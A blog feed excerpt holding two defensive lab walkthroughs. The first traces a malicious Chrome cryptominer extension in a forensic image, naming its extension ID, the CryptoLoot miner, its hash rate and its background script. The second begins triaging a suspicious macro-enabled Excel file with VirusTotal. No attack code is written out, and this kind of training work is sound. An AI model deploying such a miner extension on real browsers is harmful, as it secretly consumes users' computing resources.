alt=&#34;220608a38953d8745dfa5f11b65b2904_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;467px&#34; data-flex-grow=&#34;194&#34; height=&#34;411&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/220608a38953d8745dfa5f11b65b2904_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Examining the &lt;code&gt;Preferences file for Google Chrome&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This search leads us to a browser extension ID number. To get more information, let’s locate this extension in the &lt;code&gt;Extensions&lt;/code&gt; folder by matching the string that we found in &lt;code&gt;Preferences&lt;/code&gt;. Once inside of the corresponding &lt;code&gt;Extensions&lt;/code&gt; folder, we need to find the theme’s name. This information might be found in the &lt;code&gt;messages.json&lt;/code&gt; within the &lt;code&gt;locales&lt;/code&gt; folder of the extension.&lt;/p&gt;&#xA;&lt;p&gt;But first, let’s get some background on what the &lt;code&gt;messages.json&lt;/code&gt; is from &lt;a class=&#34;link&#34; href=&#34;https://developer.chrome.com/docs/extensions/how-to/ui/localization-message-formats&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Google&lt;/strong&gt;&lt;/a&gt;&lt;em&gt;:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Each internationalized extension has at least one file named &lt;code&gt;messages.json&lt;/code&gt; that provides locale-specific strings.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In other words, this file is used for translation and localization for different languages, including locale-specific strings. Maybe there is a helpful string here for us to discover the extension name? Let’s open &lt;code&gt;messages.json&lt;/code&gt; to find out!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;0deb172e993bcaed004bf2de229e5f8c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;468px&#34; data-flex-grow=&#34;195&#34; height=&#34;410&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/0deb172e993bcaed004bf2de229e5f8c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Examining the English &lt;code&gt;messages.json file&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bingo! Inside of the file, we’ll see that the message string displays the name “&lt;strong&gt;Earth in Space&lt;/strong&gt;.”&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7938eba9446c9a0d9f1f268b72ee68c7_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3200px&#34; data-flex-grow=&#34;1333&#34; height=&#34;60&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/7938eba9446c9a0d9f1f268b72ee68c7_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-identify-the-extension-id-and-extension-name-of-the-cryptominer&#34;&gt;Question 3: Identify the Extension ID and Extension Name of the cryptominer&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve identified the theme extension, let’s turn our focus to scanning through the rest of the installed extensions looking for the cryptominer. To do this, we’ll review the &lt;code&gt;manifest.json&lt;/code&gt; file for suspicious entries in each of the extension folders. But what is the &lt;em&gt;manifest&lt;/em&gt; file, anyway? According to &lt;a class=&#34;link&#34; href=&#34;https://developer.chrome.com/docs/extensions/reference/manifest&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Google&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Every extension must have a &lt;code&gt;manifest.json&lt;/code&gt; file in its root directory that lists important information about the structure and behavior of that extension. This page explains the structure of extension manifests and the features they can include.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;With that in mind, we can check the files starting from the first extension and moving our way down the list. Eventually, we’ll stumble on the below extension:&lt;/p&gt;&#xA;&lt;p&gt;egnfmleidkolminhjlkaomjefheafbbb&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;bae50ff44af473982604db698c10179f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;468px&#34; data-flex-grow=&#34;195&#34; height=&#34;410&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/bae50ff44af473982604db698c10179f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The manifest file for a suspicious crytocurrency mining extension&lt;/p&gt;&#xA;&lt;p&gt;This one looks a bit suspicious. To confirm that this is the extension we’re looking for to answer &lt;strong&gt;Question 3&lt;/strong&gt;, let’s pivot and gather some external intelligence about this extension ID on &lt;a class=&#34;link&#34; href=&#34;https://chrome-stats.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Chrome-Stats&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://chrome-stats.com/d/egnfmleidkolminhjlkaomjefheafbbb&#34;  title=&#34;https://chrome-stats.com/d/egnfmleidkolminhjlkaomjefheafbbb&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;DFP Cryptocurrency Miner - Extension Download&lt;/strong&gt;&#xA;_Allows staff members to mine cryptocurrency in the background of their web browser_chrome-stats.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://chrome-stats.com/d/egnfmleidkolminhjlkaomjefheafbbb&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c25db77f30340cc366829cc854193507_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;425px&#34; data-flex-grow=&#34;177&#34; height=&#34;451&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/c25db77f30340cc366829cc854193507_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Our search provides us some valuable data and confirms that the extension is considered “very high risk” and was actually removed from the Chrome Web Store due to malware. This confirms our finding.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;626481c02c985bbf4ff186be89a585e0_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3490px&#34; data-flex-grow=&#34;1454&#34; height=&#34;55&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/626481c02c985bbf4ff186be89a585e0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-description-text-of-this-extension&#34;&gt;Question 4: What is the description text of this extension?&#xA;&lt;/h3&gt;&lt;p&gt;Fortunately, we’ve already discovered the answer to &lt;strong&gt;Question 4&lt;/strong&gt; in the &lt;code&gt;manifest.json&lt;/code&gt; file under the “description” tag. Additionally, we can also find it listed on the &lt;strong&gt;Chrome-Stats&lt;/strong&gt; page.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4c95d839dc9ffbf1ea8ccf5efd71703a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1297px&#34; data-flex-grow=&#34;540&#34; height=&#34;148&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/4c95d839dc9ffbf1ea8ccf5efd71703a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Crytominer extension description in the manifest.json&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;06fafc984992bf3e63da70c2dde54836_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/06fafc984992bf3e63da70c2dde54836_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Crytominer extension description on Chrome-Stats&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ba1ee391267ea60f6ff642973ab8fffc_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3555px&#34; data-flex-grow=&#34;1481&#34; height=&#34;54&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/ba1ee391267ea60f6ff642973ab8fffc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-name-of-the-specific-javascript-web-miner-used-in-the-browser-extension&#34;&gt;Question 5: What is the name of the specific javascript web miner used in the browser extension?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 5&lt;/strong&gt;, we’re going to refer back to the &lt;code&gt;manifest.json&lt;/code&gt;. At the top of the file, in the “background” key of the manifest, notice the referenced script, &lt;code&gt;background.js&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;89b048c846fca3e6a29a15910a1d805b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1297px&#34; data-flex-grow=&#34;540&#34; height=&#34;148&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/89b048c846fca3e6a29a15910a1d805b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let’s extract the JavaScript and examine it more closely. To extract the file from the image, locate the script in &lt;strong&gt;FTK&lt;/strong&gt;’s file list, right-click it, and select “Export Files…”&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;47669c95263499317380c854c77bf898_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;467px&#34; data-flex-grow=&#34;194&#34; height=&#34;411&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/47669c95263499317380c854c77bf898_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Exporting the JavaScript from FTK&lt;/p&gt;&#xA;&lt;p&gt;Once the file is exported, open it in &lt;strong&gt;Notepad++&lt;/strong&gt; or another text editor to view the script details. To answer &lt;strong&gt;Question 5&lt;/strong&gt;, focus on lines 1 and 3, where we can determine that this script enables the &lt;strong&gt;CryptoLoot&lt;/strong&gt; miner.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1908d2e072250def5b335dec032022df_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;335px&#34; data-flex-grow=&#34;139&#34; height=&#34;572&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/1908d2e072250def5b335dec032022df_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2c3cb6dee0563d9423b340867426c605_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3555px&#34; data-flex-grow=&#34;1481&#34; height=&#34;54&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/2c3cb6dee0563d9423b340867426c605_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-how-many-hashes-is-the-crypto-miner-calculating-persecond&#34;&gt;Question 6: How many hashes is the crypto miner calculating per second?&#xA;&lt;/h3&gt;&lt;p&gt;Continuing with our analysis of the miner in &lt;strong&gt;Notepad++,&lt;/strong&gt; we can find a &lt;code&gt;hashesPerSecond&lt;/code&gt; variable on line 17 with a value of 20**.**&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b8d1a2270e34de6cf76ba460a3851dda_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;335px&#34; data-flex-grow=&#34;139&#34; height=&#34;572&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/b8d1a2270e34de6cf76ba460a3851dda_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4a30f0d95a008718ddfe0686cf39d841_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3310px&#34; data-flex-grow=&#34;1379&#34; height=&#34;58&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/4a30f0d95a008718ddfe0686cf39d841_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-is-the-public-key-associated-with-this-mining-activity&#34;&gt;Question 7: What is the public key associated with this mining activity?&#xA;&lt;/h3&gt;&lt;p&gt;Circling back to the variable on line 3, we’ll find the miner’s public key.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8a4ebfd4b073d03bdc971a5a27dead61_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;335px&#34; data-flex-grow=&#34;139&#34; height=&#34;572&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/8a4ebfd4b073d03bdc971a5a27dead61_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;70ddba1f0f43f0ceb9ee11609a044c67_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3147px&#34; data-flex-grow=&#34;1311&#34; height=&#34;61&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/70ddba1f0f43f0ceb9ee11609a044c67_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-what-is-the-url-of-the-official-twitter-page-of-the-javascript-webminer&#34;&gt;Question 8: What is the URL of the official Twitter page of the javascript web miner?&#xA;&lt;/h3&gt;&lt;p&gt;We’ve made it to the last question! To complete our investigation, we need to locate the official &lt;strong&gt;Twitter&lt;/strong&gt; page for the &lt;strong&gt;Crypto Loot&lt;/strong&gt; miner**.** All we need to do is perform a quick &lt;strong&gt;Google&lt;/strong&gt; search.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;210b0545104d90f1983b0fbeaa59e483_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1185px&#34; data-flex-grow=&#34;493&#34; height=&#34;162&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/210b0545104d90f1983b0fbeaa59e483_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Keep in mind, since this challenge was originally published, &lt;strong&gt;Twitter&lt;/strong&gt; was rebranded to &lt;strong&gt;X,&lt;/strong&gt; so the results might look a little different. But we can follow the answer format and use the Twitter domain instead. Go ahead and submit the answer, and let’s wrap up this challenge!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e6b733404fec44774993f9e237c64133_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;3096px&#34; data-flex-grow=&#34;1290&#34; height=&#34;62&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/e6b733404fec44774993f9e237c64133_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;5db6f852c73ab26bde2eef959065200a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;330px&#34; data-flex-grow=&#34;137&#34; height=&#34;493&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/5db6f852c73ab26bde2eef959065200a_MD5.png&#34; width=&#34;678&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Mission accomplished! Using &lt;a class=&#34;link&#34; href=&#34;https://www.exterro.com/digital-forensics-software/ftk-imager&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;FTK Imager&lt;/strong&gt;&lt;/a&gt;, we explored a forensic image of the infected device, focusing on the Google Chrome cache. From the cache, we identified a crypto mining extension that we determined was malicious using &lt;a class=&#34;link&#34; href=&#34;https://chrome-stats.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Chrome-Stats&lt;/strong&gt;&lt;/a&gt;. After that, we looked at the miner’s JavaScript functions to understand how it works. Now that we have analyzed the miner, and completed our objectives, let’s close out this walkthrough of &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/browser-forensics-cryptominer-aa00f593cb&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Browser Forensics -Cryptominer&lt;/strong&gt;&lt;/a&gt; with a big thank you to &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Blue Team Labs Online&lt;/strong&gt;&lt;/a&gt;, for the fun and engaging challenge!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and going through this investigation with me. Remember, if you found this walkthrough helpful don’t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we’re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;07670987b1c64247f60a1576b9626235_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-browser-forensics-cryptominer-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;FTK Imager:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.exterro.com/digital-forensics-software/ftk-imager&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.exterro.com/digital-forensics-software/ftk-imager&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Foxtron Forensics — Browser History Examiner — User Guide:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Chrome for Develops — Manifest file format:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://developer.chrome.com/docs/extensions/reference/manifest&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://developer.chrome.com/docs/extensions/reference/manifest&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Chrome-Stats:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://chrome-stats.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://chrome-stats.com/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Remote Working Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/</link>
            <pubDate>Mon, 03 Feb 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Remote Working Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--remote-working-challenge-walkthrough&#34;&gt;LetsDefend — Remote Working Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-suspicious-xlsm-file-with-virustotal&#34;&gt;Investigating a suspicious XLSM file with VirusTotal&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you&amp;rsquo;ve stumbled across this blog while searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/remote-working&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Remote Working&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;In this scenario, we&amp;rsquo;re provided with a suspicious Excel file, and it&amp;rsquo;s up to us to determine whether it&amp;rsquo;s malicious or not. To do this, we&amp;rsquo;ll collect the file hash and hunt on &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; to see what we can learn about the sample.&lt;/p&gt;&#xA;&lt;p&gt;This challenge is perfect for beginners and serves as a primer for using &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt; for triage, rather than focusing on static analysis of the malicious file directly. However, it offers great practice opportunities for all skill levels. Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/remote-working&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/remote-working&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Analysis XLS File&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;File link: /root/Desktop/ChallengeFiles/ORDER_SHEET_SPEC.zip&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-date-the-file-was-created-utc-answer-format-yyyy-mm-dd-hhmmss&#34;&gt;Question 1: What is the date the file was created? (UTC) Answer Format: YYYY-MM-DD HH:MM:SS&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off this challenge by extracting the sample file from &lt;code&gt;ORDER_SHEET_SPEC.zip&lt;/code&gt; within the &lt;code&gt;ChallengeFiles&lt;/code&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;475px&#34; data-flex-grow=&#34;198&#34; height=&#34;404&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/90537d3dbe0bbd3b13dc173949b022ae_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Inside, we&amp;rsquo;ll find a &lt;a class=&#34;link&#34; href=&#34;https://support.microsoft.com/en-us/office/file-formats-that-are-supported-in-excel-0943ff2c-6014-4e8d-aaea-b83d51d46247&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;macro-enabled &lt;strong&gt;Excel&lt;/strong&gt; file&lt;/a&gt;, &lt;code&gt;ORDER SHEET &amp;amp; SPEC.xlsm&lt;/code&gt;. While a macro-enabled file doesn&amp;rsquo;t necessarily mean it&amp;rsquo;s malicious, it does raise some suspicions, especially if it was delivered over email like in a phishing campaign. But that&amp;rsquo;s what we&amp;rsquo;re here to figure out!&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll start our analysis with getting an overview of the suspicious file by grabbing its SHA256 file hash. With this unique hash, we can pivot our search to an external threat intelligence service, like &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt;, to save 